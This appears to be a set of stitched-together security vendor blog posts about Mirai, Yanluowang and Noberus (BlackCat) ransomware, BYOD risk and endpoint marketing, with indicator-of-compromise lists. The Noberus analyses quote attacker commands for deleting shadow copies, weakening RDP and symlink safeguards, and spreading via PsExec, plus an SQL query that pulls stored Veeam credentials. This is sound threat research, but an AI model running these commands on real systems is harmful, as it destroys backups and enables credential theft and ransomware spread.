3e53deb5d2572c0f9fae10b870c8d4f5fdc7bd0fe1cc3b15ca91b31924373136 – WebPass
2f1520301536958bcf5c65516ca85a343133b443db9835a58049cd1694460424 – ProcDump
912018ab3c6b16b39ee84f17745ff0c80a33cee241013ec35d0281e40c0658d9 – Mimikatz
38d4456b38a2896f23cad615e3c9167e65434778074a9b24af3cbc14d1e323bf – cmd.exe (tampered copy of legitimate cmd.exe)
77358157efbf4572c2d7f17a1a264990843307f802d20bad4fb2442245d65f0b – ProcessExplorer
Network
88.218.193.76 (used to host malware)
8.214.122.199
103.56.114.69
27.124.17.222
27.124.3.96
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New Wave of Mirai Leverages Open-Source Project for Cross Platform Infection Technique
Linux.Mirai variants continue to evolve with better build systems to support the infection of multiple platforms.
It’s safe to say that the last few years have been eventful when it comes to the Internet of Things (IoT) threat landscape, with new waves of distributed denial of service (DDoS) bots emerging with increasing regularity. Ever since the first reported incident of the Mirai botnet (Linux.Mirai) back in 2016, followed by the malware’s source code being leaked, the number of variants of this family has been growing steadily, their success helped along by an environment of poorly managed IoT devices. As it is, the IoT market is hugely fragmented and most of the devices do not receive software patches for the known vulnerabilities. To make things worse, the malware authors continue to evolve these variants, making the malware more powerful and portable across different platforms and architectures.
Leveraging open-source projects
One of the major pain points for a cross-platform IoT botnet is portability. The malware must be able to run on different architectures and platforms in a self-contained capsule without any runtime surprises or misconfiguration. This is also an area where many inexperienced malware authors, or script-kiddies, fail if they simply copy/paste and reuse the existing malware code base.
At the end of July, I came across a live remote server hosting multiple malware variants, each for a specific platform. As with many Mirai infections, it starts by firing a shell script on a vulnerable device. That shell script sequentially tries downloading and executing individual executables one by one until a binary compliant with the current architecture is found.
Figure 1. The shell script downloads executables one by one until it finds one that works with the current architecture
The successfully executed executable file is responsible for the actual Mirai payload, such as enumerating a list of IP addresses by creating a list of random addresses and scanning for devices with default credentials, or vulnerabilities.
While this is similar behavior to the Mirai variants we’ve seen so far, what makes it interesting is the compiled binary. These variants have been created by leveraging an open-source project called Aboriginal Linux that makes the process of cross-compilation easy, effective, and practically fail-proof. It should be noted that there is nothing malicious or wrong with this open-source project, the malware authors are once again leveraging legitimate tools to supplement their creations, this time with an effective cross compilation solution.
What’s the result of this process?
Given that the existing code base is combined with an elegant cross-compilation framework, the resultant malware variants are more robust and compatible with multiple architectures and devices, making it executable on a wide variety of devices ranging from routers, IP cameras, connected devices, and even Android devices. For example, Figure 2 shows an ARM7 malware variant running on an Android device running Android 4.4, and Figure 3 shows the sample running on Debian ARM.
Figure 2. Sample running on Android 4.4
Figure 3. Sample being debugged in a Debian ARM port
The remainder of the malware’s functionalities are consistent with known Mirai behavior. For example, when I executed the sample in a contained environment, it attempted to scan more than 500,000 IP addresses generated through the random generation process previously described, and then tried to send raw packet data over port 23.
Protection
Symantec and Norton products detect the threats discussed in this blog as:
Linux.Mirai
Mitigation
Symantec has the following tips to protect your IoT device from becoming infected with malware:
Research the capabilities and security features of an IoT device before purchase.
Perform an audit of IoT devices used on your network.
Change the default credentials on devices. Use strong and unique passwords for device accounts and Wi-Fi networks.
Use a strong encryption method when setting up Wi-Fi network access (WPA).
Disable features and services that are not required.
Disable Telnet login and use SSH where possible.
Disable Universal Plug and Play (UPnP) on routers unless absolutely necessary.
Modify the default privacy and security settings of IoT devices according to your requirements and security policy.
Disable or protect remote access to IoT devices when not needed.
Use wired connections instead of wireless, where possible.
Regularly check the manufacturer’s website for firmware updates.
Ensure that a hardware outage does not result in an unsecure state of the device.
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New Yanluowang Ransomware Used in Targeted Attacks
New arrival to the targeted ransomware scene appears to be still in development.
The Symantec Threat Hunter Team, a part of Broadcom Software, has uncovered what appears to be a new ransomware threat called Yanluowang that is being used in targeted attacks.
In a recent attempted ransomware attack against a large organization, Symantec obtained a number of malicious files that, upon further investigation, revealed the threat to be a new, if somewhat underdeveloped, ransomware family.
The Threat Hunter Team first spotted suspicious use of AdFind, a legitimate command-line Active Directory query tool, on the victim organization’s network. This tool is often abused by ransomware attackers as a reconnaissance tool, as well as to equip the attackers with the resources that they need for lateral movement via Active Directory. Just days after the suspicious AdFind activity was observed on the victim organization, the attackers attempted to deploy the Yanluowang ransomware.
Before the ransomware is deployed on a compromised computer, a precursor tool carries out the following actions:
Creates a .txt file with the number of remote machines to check in the command line
Uses Windows Management Instrumentation (WMI) to get a list of processes running on the remote machines listed in the .txt file
Logs all the processes and remote machine names to processes.txt
Figure 1. Yanluowang stops multiple services on compromised computers
The Yanluowang ransomware is then deployed and carries out the following actions:
Stops all hypervisor virtual machines running on the compromised computer
Ends processes listed in processes.txt, which includes SQL and back-up solution Veeam
Encrypts files on the compromised computer and appends each file with the .yanluowang extension
Drops a ransom note named README.txt on the compromised computer
Figure 2. Yanluowang ends the SQL and Veeam processes before encryption
Figure 3. Yanluowang uses the Windows API for encryption
The ransom note dropped by Yanluowang warns victims not to contact law enforcement or ransomware negotiation firms. If the attackers’ rules are broken the ransomware operators say they will conduct distributed denial of service (DDoS) attacks against the victim, as well as make “calls to employees and business partners.” The criminals also threaten to repeat the attack “in a few weeks” and delete the victim’s data.
Figure 4. Yanluowang ransom note
Protection
File based:
Ransom.Yanluowang
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
d11793433065633b84567de403c1989640a07c9a399dd2753aaf118891ce791c
49d828087ca77abc8d3ac2e4719719ca48578b265bbb632a1a7a36560ec47f2d
2c2513e17a23676495f793584d7165900130ed4e8cccf72d9d20078e27770e04
Symantec Enterprise Blogs
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3 MIN READ
The Ransomware Threat in 2021
New research from Symantec finds that organizations face an unprecedented level of danger from targeted ransomware attacks as the number of adversaries multiply alongside an increased sophistication in tactics.
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Next-Gen Is So Last-Gen
You need protection for 2021
Next-Gen, a marketing term that implies new, no longer is. Yet a decade after its introduction it’s still being used in sentences right after some variations of “AV is not enough.” And it makes less and less sense as the years go by. It was hard to find an AV vendor ten years ago, they are rarer now. It was 2003 when Symantec added a firewall and network-based detection engine to supplement AV protection. By now there may be vendors who only offer a file-scanning (AV) only solution. I don’t know them.
That is not to say that AV as a technology no longer exists. It’s a small but important part of endpoint protection. Take Sunburst and Solar Winds. Once this became known, AV signatures were quickly deployed to detect it. AV is fast, effective and not false positive prone. We didn’t need a roomful of data scientists trying to retrain an algorithm. In fact, there’s a lot of known malware out there that AV is a pretty good choice for protection against. It still has its place in a robust protection stack.
While Next-Gen may still be effective as a marketing term, it's well past its expiration date.
But Machine Learning (ML) was a huge improvement to proactive protection. It became associated with Next-Gen products. One marketing department in the industry, strangely implied that by using ML their engineers had discovered math. Unfortunately for Next-Gen vendors, ML was not their discovery, it had been around for a while. In fact, Symantec had been using ML for years before Next-Gen became a thing. We had heard of math.
Which brings us to today. While Next-Gen may still be effective as a marketing term, it's well past its expiration date. Every vendor uses ML today. It is a part, not the whole, of endpoint protection. And there is a Next-Next. What’s next today is adding technology that helps customers harden their endpoints, prevents the abuse of Active Directory (AD) and integrating human threat hunters into the products themselves. That is the generational change in protecting endpoint in 2021. Next-Gen, that’s a generation behind.
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No, BYOD Doesn’t Need to End in Tears
Mobile-savvy employers and security-obsessed CISOs can – and should – find a way to coexist. It’s not Mission Impossible
The Bring Your Own Device movement has ushered in an era in which millions of people access work data on the corporate server using their privately-owned phones. But security managers are paid to worry and many rightly question the wisdom of allowing employees to use their personal mobile devices for work.
Even though they’ve lost the war, however, they’ve learned to deal with the new reality foisted upon them. Putting in place corporate-wide rules, backed up by the deployment of MDM solutions to exercise a degree of control will hopefully, mitigate risks posed by the use of privately-owned devices. Of course, the logistics will never be easy, especially when employees use more than a single device. In those instances, IT winds up needing to support multiple devices, regardless of the operating system, handling whatever software incompatibility issues crop up along the way.
But those are minor annoyances. The more serious concern is that despite all the efforts to preach best practices, employees will continue to be careless or take shortcuts that leave their devices – and their employers’ data –exposed to attackers.
Putting in place corporate-wide rules, backed up by the deployment of MDM solutions to exercise a degree of control will hopefully, mitigate risks posed by the use of privately-owned devices.
And you don’t need to push BYOD bad behavior to an extreme. Even when the most mobile-savvy employees conduct themselves according to the book, they may still inadvertently expose corporate information. For example, individuals downloading apps from third-party sites are nonetheless prey to attackers who have demonstrated their ability to infiltrate malicious apps that hide themselves. Earlier this fall, for example, Symantec researchers found that hidden malicious apps were downloaded more than 2.1 million times from the Google Play Store. And we’re talking about a first-tier vendor; imagine the potential risk when a user accesses a third-party site with questionable security.
In order to navigate past the shoals, organizations can make the case that they’re justified doing what’s necessary to protect their data; on the other, laws and regulations add boundaries that they must respect. Apropos, the Federal Trade Commission recently announced it had settled its first case against a developer accused of creating "stalking apps" and "stalkerware." (Symantec told PC Magazine that its Norton Mobile Security app has seen seeing about 2,000 devices infected with stalkerware each month.) The 3 mobile apps in question here allowed buyers to secretly monitor the mobile devices on which the apps were installed and then track the user’s physical movements and online activities.
Even when the most mobile-savvy employees conduct themselves according to the book, they may still inadvertently expose corporate information.
But according to the FTC, at least one hacker was able to exploit the poor security in the apps to access a company’s cloud storage account twice between February 2017 and 2018. The FTC did not divulge names but noted that the hacker had successfully deleted certain information from the victim organization’s servers. The upshot: the breach exposed a trove of valuable data, including login usernames, encrypted login passwords, text messages, GPS locations, contacts, and photos.
But BYOD doesn’t need to lead to adversarial relations as there are commonsense measures that both employers and employees can adopt as they learn to coexist.
On the Employee Side
Make sure not to let your mobile apps get out of date. Developers issue patches all the time when they discover new vulnerabilities. Don’t ignore their patch prodding
Stick with the major trusted sites when downloading apps. Even then, it’s not a 100% guarantee when you consider that hackers exploited Apple technology earlier this year to distribute modified versions of popular apps like Spotify, Angry Birds, and Minecraft to enterprise employees. Still, if you opt to download an app from an unfamiliar site, you’re tempting the fates
Use mobile security apps, such as Norton or Symantec Endpoint Protection Mobile, to keep your device and data secure
Take note if your phone's battery drains faster than normal; it may be a sign that someone has access to your device
Make sure that your phone has not been jailbroken
Don’t tune out when IT sends around emails with best practices updates
On the Employer Side
Deploy a robust combination of antivirus technology, advanced firewall, and web browser protection to protect your organization’s mobile devices and users against malicious threats and unauthorized access to sensitive corporate information
Consider a mobile security solution that provides enterprise-level management so that administrators can centrally define and distribute security policies to mobile devices over-the-air
Use a mobile management solution that lets administrators secure and manage the organization’s mobile devices from a single management console
Do systematic updates of content along with scheduled (background) or manual scanning of all devices.
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Noberus Ransomware: Darkside and BlackMatter Successor Continues to Evolve its Tactics
New version of Exmatter, and Eamfo malware, used by attackers deploying the Rust-based ransomware.
Attackers deploying the Noberus (aka BlackCat, ALPHV) ransomware have been using new tactics, tools, and procedures (TTPs) in recent months, making the threat more dangerous than ever.
Among some of the more notable developments has been the use of a new version of the Exmatter data exfiltration tool, and the use of Eamfo, information-stealing malware that is designed to steal credentials stored by Veeam backup software.
How does Noberus operate?
Noberus is widely believed to be a successor payload to the Darkside and BlackMatter ransomware families, which were developed by a group Symantec, by Broadcom Software, tracks as Coreid (aka FIN7, Carbon Spider). Darkside was used in the Colonial Pipeline ransomware attack in May 2021. The extreme amount of public and law enforcement attention that attack attracted led Coreid to shut down Darkside and replace it with BlackMatter. Coreid runs a ransomware-as-a-service (RaaS) operation, which means it develops the ransomware but it is deployed by affiliates for a cut of the profits. The ransomware being deployed by different affiliates can sometimes explain the different TTPs and attack chains used in Noberus attacks.
Noberus sparked interest when it was first seen in November 2021 because it was coded in Rust, and this was the first time we had seen a professional ransomware strain used in real-world attacks coded in that programming language. Rust is a notable language as it is cross-platform. Coreid claims that Noberus is capable of encrypting files on Windows, EXSI, Debian, ReadyNAS, and Synology operating systems.
Noberus emerged shortly after BlackMatter announced it was being retired. Coreid sets out in the rules of its affiliate program that Noberus cannot be used to attack:
The Commonwealth of Independent States or neighboring countries
Organizations in or related to the healthcare sector
Charitable or non-profit organizations
Affiliates are also advised to avoid attacking the education and government sectors.
When announcing Noberus, Coreid underlined the features that appeared designed to emphasize its superiority to rival ransomware, including that each advert is provided with an entrance through its own unique onion domain; the affiliate program architecturally excludes all possible connections with forums; even if a full-fledged command line shell is obtained, the attacker will not be able to reveal the real IP address of the server, and encrypted negotiation chats that can only be accessed by the intended victim.
The ransomware also offered two encryption algorithms (ChaCha20 and AES), as well as four encryption modes - Full, Fast, DotPattern and SmartPattern. Full is the most secure but also the slowest mode. SmartPattern offers encryption of “N” megabytes in percentage increments. By default, it encrypts with a strip of 10 megabytes every 10 percent of the file starting from the header, which would be an optimal mode for attackers in terms of speed and cryptographic strength. Sentinel Labs recently published a report where it referred to this kind of encryption as “intermittent encryption” and mentioned how it had been adopted by certain ransomware operators, including Noberus, Black Basta, and more.
The percentage of each ransom that is paid to Noberus affiliates varies depending on the ransom amount. Coreid has continuously updated Noberus since its launch in November 2021 to make its operation more efficient. They will also cull affiliates if they are not bringing in enough money, encouraging them to “contact less professional teams”. In December 2021, the ransomware added a new “Plus” role for affiliates that had brought in more than $1.5 million. It gave access to:
DDoS - used to target domains with DDoS attacks
Calls - adding a field to indicate the phone numbers of the victim or add a contact number for the affiliate to communicate directly with victims if they wish
Brute - making it possible to brute force NTDS, Kerberos tickets and other hashes for free
Coreid made a major update to Noberus in June 2022, which included:
Introducing an ARM build for encryption of non-standard architectures
Introducing SAFEMODE - Added encryption functionality to the Windows build via rebooting into safe mode (--safeboot) and safe mode with networking (--safeboot-network)
Coreid also made some updates to the locker, by adding new restart logic, and simplifying the Linux encryption process. In a July 2022 update the team added indexing of stolen data - meaning its data leaks websites can be searched by keyword, file type, and more.
The continuous updating and refining of Noberus’ operations shows that Coreid is constantly adapting its ransomware operation to ensure it remains as effective as possible. The FBI issued a warning in April 2022 saying that between November 2021 and March 2022 at least 60 organizations worldwide had been compromised with the Noberus ransomware - the number of victims now is likely to be many multiples of that.
Noberus and Exmatter: New version of data exfiltration tool used in ransomware attacks
In August 2022, a heavily updated version of the Exmatter (Trojan.Exmatter) data exfiltration tool was observed being used alongside Noberus in ransomware attacks.
Exmatter was discovered by Symantec researchers in November 2021 being used alongside the Blackmatter ransomware. It was designed to steal specific file types from a number of selected directories and upload them to an attacker-controlled server prior to deployment of the ransomware itself on the victim’s network. Even at the time of its discovery, various variants of the tool were seen, as its developers continued to refine it to optimize its operation and expedite exfiltration of a sufficient volume of high-value data in as short a time as possible.
This latest version of Exmatter has reduced the number of file types it attempts to exfiltrate. It will now exfiltrate files with the following extensions only:
.pdf, .doc, .docx, .xls, .xlsx, .png, .jpg, .jpeg, .txt, .bmp, .rdp, .txt, .sql, .msg, .pst, .zip, .rtf, .ipt, .dwg
Other new features include:
Addition of third exfiltration capability (FTP) to SFTP and WebDav, which were present in older versions.
Reports: Ability to build a report listing all processed files.
Eraser: Can corrupt processed files (not turned on in version analyzed).
Self-destruct: Configuration option, which, when enabled, will make the tool self-destruct and quit if executed in a non-corporate environment (outside of a Windows domain).
Socks5: Socks5 support was removed.
In at least one attack, the tool was deployed via GPO.
In addition to this, the malware was extensively rewritten, and even existing features were implemented differently. This was possibly a bid to avoid detection. Whether Exmatter is the creation of Coreid or a skilled affiliate of the group is not clear, but its use alongside two different iterations of Coreid’s ransomware is notable. Its continuous development also underlines the focus of the group on data theft and extortion, and the importance of this element of attacks to ransomware actors now.
Noberus and Eamfo: Attackers using malware to steal credentials from Veeam
At least one affiliate of the Noberus ransomware operation was spotted in late August using information-stealing malware that is designed to steal credentials stored by Veeam backup software. Veeam is capable of storing credentials for a wide range of systems, including domain controllers and cloud services. The credentials are stored to facilitate the backup of these systems. The malware (Infostealer.Eamfo) is designed to connect to the SQL database where Veeam stores credentials, and it steal credentials with the following SQL query:
select [user_name],[password],[description] FROM [VeeamBackup].[dbo].[Credentials]
Eamfo will then decrypt and display the credentials.
Eamfo appears to have been in existence since at least August 2021 and there is evidence that it has previously been used by attackers using the Yanluowang and LockBit ransomware families. A recent report from BlackBerry also detailed Eamfo being used alongside a new ransomware strain it dubbed Monti, which appears to be based on the leaked source code of the Conti ransomware. The TTPs used in Monti attacks also closely resemble former Conti attack chains, suggesting those behind Monti may be former affiliates of that group. Conti was developed by a group Symantec tracks as Miner.
Stealing credentials from Veeam is a known attack technique that can facilitate privilege escalation and lateral movement, providing the attackers with access to more data they can potentially exfiltrate and more machines to encrypt.
Noberus attacks involving Eamfo seen by Symantec also utilized GMER, a relatively old rootkit scanner that can be leveraged by ransomware actors to kill processes. GMER usage by ransomware attackers appears to have become more frequent in recent months, and it was also seen in the Monti attack detailed by BlackBerry.
Conclusion
There’s no doubt that Coreid is one of the most dangerous and active ransomware developers operating at the moment. The group has been around since 2012, and became well-known for using its Carbanak malware to steal money from organizations worldwide, with the banking, hospitality and retail sectors among its preferred targets. Three members of the group were arrested in 2018, and in 2020 the group changed its tactics and launched its ransomware-as-a-service operation. Its continuous development of its ransomware and its affiliate programs indicates that this sophisticated and well-resourced attacker has little intention of going anywhere anytime soon.
Protection/Mitigation
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
File hashes (SHA256)
ad5002c8a4621efbd354d58a71427c157e4b2805cb86f434d724fc77068f1c40 – Trojan.Exmatter
8c5b108eab6a397bed4c099f13eed52aeeec37cc214423bde07544b44a62e74a – Ransom.Noberus
78517fb07ee5292da627c234b26b555413a459f8d7a9641e4a9fcc1099f06a3d –Infostealer.Eamfo
9aa1f37517458d635eae4f9b43cb4770880ea0ee171e7e4ad155bbdee0cbe732 –Infostealer.Eamfo
df492b4cc7f644ad3e795155926d1fc8ece7327c0c5c8ea45561f24f5110ce54 –Infostealer.Eamfo
029dde7c2ec880fb3d3e95e6a8376739b4bc46a0ce24012e064b904e6ecb672c –Ransom.Noberus
72f0981f18b969db2781e874d249d8003c07f99786e217f84cf54a148de259cc –Ransom.Noberus
18c909a2b8c5e16821d6ef908f56881aa0ecceeaccb5fa1e54995935fcfd12f7 – GMER Driver
e8a3e804a96c716a3e9b69195db6ffb0d33e2433af871e4d4e1eab3097237173 – GMER
ed6275195cf9fd758fb7f8bce868c14dc9e9d6b7aa6f472f714bce5ed7fabf7f – Masqueraded PAExec
5799d554307906e92749a0c45f21baff28d83b1cedccbf7cb6f2b98ac1b00930 – Masqueraded PAExec
File Names
sync_enc.exe
without_cert.exe
vup.exe
morph.exe
locker.exe
isgmer.exe
kgeyauow.sys
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Noberus: Technical Analysis Shows Sophistication of New Rust-based Ransomware
New ransomware used in mid-November attack, ConnectWise was likely infection vector.
Symantec’s Threat Hunter Team has additional technical information to share on the new ALPHV/BlackCat ransomware that was first published about last week, and which we have been tracking for several weeks.
Symantec, a division of Broadcom Software, tracks this ransomware as Ransom.Noberus and our researchers first spotted it on a victim organization on November 18, 2021, with three variants of Noberus deployed by the attackers over the course of that attack. This would appear to show that this ransomware was active earlier than was previously reported, with MalwareHunterTeam having told BleepingComputer they first saw this ransomware on November 21.
Noberus is an interesting ransomware because it is coded in Rust, and this is the first time we have seen a professional ransomware strain that has been used in real-world attacks coded in this programming language. Noberus appears to carry out the now-typical double extortion ransomware attacks where they first steal information from victim networks before encrypting files. Noberus adds the .sykffle extension to encrypted files.
This blog contains information about the attack chain we observed in one victim organization, as well as technical details about the operation of this ransomware.
The first suspicious activity observed by Symantec occurred on a victim’s network on November 3, approximately two weeks before Noberus was deployed. During this time, suspicious network activity was observed. Later on November 18, shortly before Noberus was deployed, ConnectWise was also executed. A few hours later, Noberus was deployed, indicating that the attackers may have leveraged access to ConnectWise to deploy their payload. While it is a legitimate tool, ConnectWise has frequently been exploited by ransomware attackers in recent times to gain access to victim networks.
Anatomy of an attack
On November 3, suspicious Server Message Block (SMB) requests occurred on the earliest machine to get infected on the victim network. This was followed by remote Local Security Authority (LSA) registry dump attempts from a remote machine on the network. This suggests the attackers may have compromised another machine on the network where we didn't have visibility, or they could also have added a new machine to the domain from which they were launching attacks to dump credentials.
On the same day, PsExec was also executed from a remote machine to launch a command prompt. The attackers used this to disable a restricted remote administration feature known as ‘RestrictedAdmin mode’ via the Windows registry. This effectively disables safeguards guarding against 'pass the hash' attacks targeting Remote Desktop Protocol (RDP), allowing the attackers to attempt to gain higher administrative privileges.
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0
The next activity occurred on November 18 when PsExec was used to run multiple PowerShell commands to effectively disable Windows Defender. Specifically, the PowerShell command used added *.exe to an exclusion list for AV scanning, and this command was executed across the entire organization.
Later on November 18, the first instance of Noberus ransomware was deployed via PsExec.
In order for Noberus to execute properly, it requires a specific ‘access-token’. This acts as a unique key, which is used to distinguish the victim when visiting the Noberus operators’ Tor site. The following similar commands were observed being executed:
CSIDL_WINDOWS\temp\psexec.exe -accepteula \\[REDACTED] -u [REDACTED] -p [REDACTED] -s -d -f -c [REDACTED].exe --access-token [REDACTED] --no-prop-servers \\[REDACTED] --propagated
[REDACTED].exe --access-token [REDACTED] --no-net
In the above, PsExec is launched with the following specific command line arguments:
s – Run under the System account
d – Run as a non-interactive process (don’t wait for the process to terminate)
f, c – Copy Noberus file to the remote machine
For the second command above, the ‘no-net’ command line argument instructs Noberus not to process network shares during propagation. See the Technical Details below for a full list of support command line arguments and their description.
In all the samples of Noberus that we have access to, the victim’s administrative credentials are embedded as part of the configuration block, showing that this attack was specifically targeted at this victim.
Once Noberus is executed, the ransomware first deletes any available shadow copies, which is typical in ransomware attacks, in order to stop the organization from restoring encrypted files.
cmd /c vssadmin.exe delete shadows /all /quiet
Noberus then runs commands to collect system information via WMIC, in order to collect Universally Unique Identifiers (UUIDs) from each machine. These are then used to generate the ‘access token’ that makes up part of the unique Tor address victims are instructed to visit.
Navigate to: http://mu75ltv3lxd24dbyu6gtvmnwybecigs5auki7fces437xvvflzva2nqd.onion/?access-key=${ACCESS_KEY}"
We also saw a fsutil command being executed by Noberus. Fsutil performs tasks that are related to file allocation table (FAT) and NTFS file systems. In this incident, the attacker is specifically modifying the SymLink Evaluation behavior to modify the type of symbolic links that can be created on the system. Symbolic links create a file in your directory that acts as a shortcut to another file or folder.
cmd /c fsutil behavior set SymlinkEvaluation R2L:1
cmd /c fsutil behavior set SymlinkEvaluation R2R:1
This is used to follow various types of shortcuts (local and remote), likely to ensure Noberus can follow these shortcuts and perform encryption.
As part of the propagation mechanism, Noberus attempts to mount hidden partitions. It then attempts to spread via the ‘net use’ command. The embedded administrative credentials are used as part of this mechanism along with PsExec, which is embedded in a compressed form within Noberus.
During the attack, the attackers were also seen modifying the maximum limit of concurrent requests machines could make via PsExec.
cmd /c reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters /v MaxMpxCt /d 65535 /t REG_DWORD /f
This was likely to aid in the propagation of Noberus across the network.
At this stage, Noberus proceeds to terminate a set of pre-defined processes and begin the encryption process.
At some point during the attack the organization became aware of the infection and deployed remediation software. However, despite this, it appears the attackers were able to return and deploy another variant of their ransomware to other systems on the network. In total, three variants of this ransomware were identified during this intrusion, leading to at least 261 machines on the network becoming infected with Noberus.
Ransom.Noberus: Technical Details
A technical analysis of Noberus itself found that a lot of its behavior is consistent with the activity we saw on the victim network.
The first step it takes after being deployed on victim networks is to remove shadow copies:
cmd /c vssadmin.exe delete shadows /all /quiet
It then issues a command to collect Universally Unique Identifiers (UUIDs) from infected machines.
cmd /c wmic csproduct get UUID
The UUID and parameter ‘access token’ are then used to generate "ACCESS_KEY".
Navigate to: http://mu75ltv3lxd24dbyu6gtvmnwybecigs5auki7fces437xvvflzva2nqd.onion/?access-key=${ACCESS_KEY}"
Noberus then enables the remote-to-local and remote-to-remote symbolic link evaluations.
cmd /c fsutil behavior set SymlinkEvaluation R2L:1
cmd /c fsutil behavior set SymlinkEvaluation R2R:1
It then attempts to mount a hidden partition, by issuing the following commands:
Enumerates volumes by
FindFirstVolume
FindNextVolume
FindVolumeClose
Then gets the pathname by:
GetVolumePathNamesForVolumeName
If the volume does not have a pathname, Noberus mounts it with:
SetVolumeMountPoint.
Noberus then cleans up the Recycle Bin and attempts to propagate via network share.
It looks for available shares by using the ‘net use’ command or NetShareEnum function. Embedded administrative credentials may then be used for propagation via network share.
Noberus also attempts to propagate via PsExec.
locker::core::windows::psexec
The PsExec module is embedded in the Noberus code (see Figure 1). It is compressed with zlib (Figure 2).
Figure 1. PsExec embedded in ransomware code
Figure 2. PsExec compressed by zlib in ransomware code
The decompressed PsExec file is a legitimate Microsoft-signed clean file (Figure 3).
Figure 3. Decompressed PsExec file
Once it has gained access to a machine, Noberus then proceeds to kill the following processes and services:
"encsvc","thebat","mydesktopqos","xfssvccon","firefox","infopath","winword","steam","synctime", "notepad","ocomm","onenote","mspub","thunderbird","agntsvc","sql","excel","powerpnt", "outlook","wordpad","dbeng50","isqlplussvc","sqbcoreservice","oracle","ocautoupds", "dbsnmp","msaccess","tbirdconfig","ocssd","mydesktopservice","visio", "sql*", "mepocs","memtas","veeam","svc$","backup","sql","vss","msexchange"
It also excludes certain directories, filenames, and file extensions from the encryption process, such as:
"system volume information","intel","$windows.~ws","application data","$recycle.bin", "mozilla","program files (x86)","program files","$windows.~bt","public","msocache","windows","default","all users", "tor browser", "programdata","boot","config.msi","google","perflogs","appdata", "windows.old", "desktop.ini","autorun.inf","ntldr","bootsect.bak","thumbs.db","boot.ini","ntuser.dat", "iconcache.db","bootfont.bin","ntuser.ini","ntuser.dat.log","themepack","nls","diagpkg", "msi","lnk","exe","cab","scr","bat","drv","rtp","msp","prf","msc", "ico", "key","ocx","diagcab","diagcfg", "pdb","wpx","hlp","icns","rom","dll","msstyles","mod","ps1","ics","hta","bin","cmd","ani", "386","lock","cur","idx","sys","com","deskthemepack","shs","ldf","theme","mpa","nomedia", "spl","cpl","adv","icl","msu"
Noberus then proceeds to encrypt files using either AES or ChaCha20 encryption.
The private key for encrypted machines appears to be generated randomly. It appears that Noberus generates a random number using BCryptGenRandom and calculates each byte with the string shown in Figure 4.
Figure 4. String used to calculate the private key
Files that have been encrypted have .sykffle appended to the end of their filename, in the following format:
[original filename].[extension].sykffle
Noberus then creates a ransomware note, creating a .txt and a .png file that are displayed to victims, with the following filenames:
RECOVER-sykffle-FILES.txt
RECOVER-sykffle-FILES.txt.png
The text file tells victims the following:
> Introduction
Important files on your system was ENCRYPTED and now they have "sykffle" extension.
In order to recover your files you need to follow instructions below.
>> Sensitive Data
Sensitive data on your system was DOWNLOADED and it will be PUBLISHED if you refuse to cooperate.
Data includes:
- Employees personal data, CVs, DL, SSN.
- Complete network map including credentials for local and remote services.
- Financial information including clients’ data, bills, budgets, annual reports, bank statements.
- Complete datagrams/schemas/drawings for manufacturing in solidworks format
- And more...
Private preview is published here: http://zujgzbu5y64xbmvc42addp4lxkoosb4tslf5mehnh7pvqjpwxn5gokyd[.]onion/[REDACTED]
>> CAUTION
DO NOT MODIFY FILES YOURSELF.
DO NOT USE THIRD PARTY SOFTWARE TO RESTORE YOUR DATA.
YOU MAY DAMAGE YOUR FILES, IT WILL RESULT IN PERMANENT DATA LOSS.
YOUR DATA IS STRONGLY ENCRYPTED, YOU CAN NOT DECRYPT IT WITHOUT CIPHER KEY.
>> Recovery procedure
Follow these simple steps to get in touch and recover your data:
1) Download and install Tor Browser from: https://torproject.org/
2) Navigate to: http://mu75ltv3lxd24dbyu6gtvmnwybecigs5auki7fces437xvvflzva2nqd[.]onion/?access-key=[REDACTED]
Figure 5. Noberus ransom note
Significance of this new ransomware
This is a sophisticated new ransomware with no apparent weaknesses in its encryption process, meaning unless victims have comprehensive backups they will be obliged to pay the ransom to recover their files. The fact it is written in Rust is interesting, as while Rust is not typically seen being used by malware developers, it is growing in popularity and it shows that ransomware developers too are not afraid to innovate in this area.
While the reported number of victims of this ransomware so far appears to be small, the sophistication of Noberus itself and the level of determination shown by the attackers in the attack we did observe indicates it is likely we will see more of this ransomware in the future. It is also reported that the developers behind this ransomware are actively seeking affiliates on Russian-speaking hacking forums, meaning the number of malicious actors deploying this ransomware is likely to grow.
Protection
File-based
Ransom.Noberus
For the latest protection updates, please visit the Symantec Protection Bulletin.
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Yanluowang: Further Insights on New Ransomware Threat
At least one attacker now using Yanluowang may have previously been linked to Thieflock ransomware operation.
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No Device Left Behind: How to Ensure Protection of BYODs
Mobile Threat Defense adoption on BYODs has been challenging due to the lack of an enforcement mechanism. Symantec Mobile Access Control solves this by integrating the MTD solution in your organization’s SAML flow.
The “modern” environment includes not just traditional endpoints such as desktops and laptops, but also mobile platforms which are increasingly becoming the preferred way employees engage with their organization. A joint Samsung-Oxford Economics 2018 report on enterprise mobility points out that “modern work is mobile work” with nearly 80% of interviewed IT and business leaders saying employees cannot do their jobs effectively without a mobile phone. Almost the same amount (75%) of respondents say mobile devices are essential to business workflows.
It’s no surprise then that mobile has become a highly-appealing target for cyber attackers. According to Verizon’s 2019 Mobile Security Index, 1 in every 3 organizations said they suffered a data breach involving a mobile device – up from 27% in 2018. And organizations are increasingly being hit harder: 62% of affected companies said their mobile breaches were “major” and 41% said they were “major with lasting repercussions” requiring costly remediation and cleanup. Additionally, on top of being vulnerable to many of the same threats affecting other devices, like phishing, mobile devices are prone to attack vectors like malicious apps, network threats such as man-in-the-middle attacks, and various OS exploits.
Unmanaged device, unmanaged risk
The risk is augmented by the growing adoption of Bring Your Own Device (BYOD) practices in the workplace. More than half of organizations have BYOD policies in place or plan to adopt them, and some sources say it’s as high as 85%. For all the benefits BYOD programs bring to productivity and mobility, allowing employees to access corporate resources from their personal devices – over which IT teams have no visibility, much less control – has its obvious risks. Mobile users connect freely to more networks, download risky apps, and access websites that may spread malicious code. And employees are accessing corporate resources on these very same devices, using an average of 5 mobile business apps daily.
While solutions have been introduced for securing mobile devices, applying these to BYODs continues to be a challenge due to lack of an enforcement mechanism. On personal devices, as opposed to managed endpoints, the employee is the “admin” and essentially decides what goes onto their device. This has made it difficult to achieve widespread adoption of Mobile Threat Defense (MTD) apps on employee BYODs.
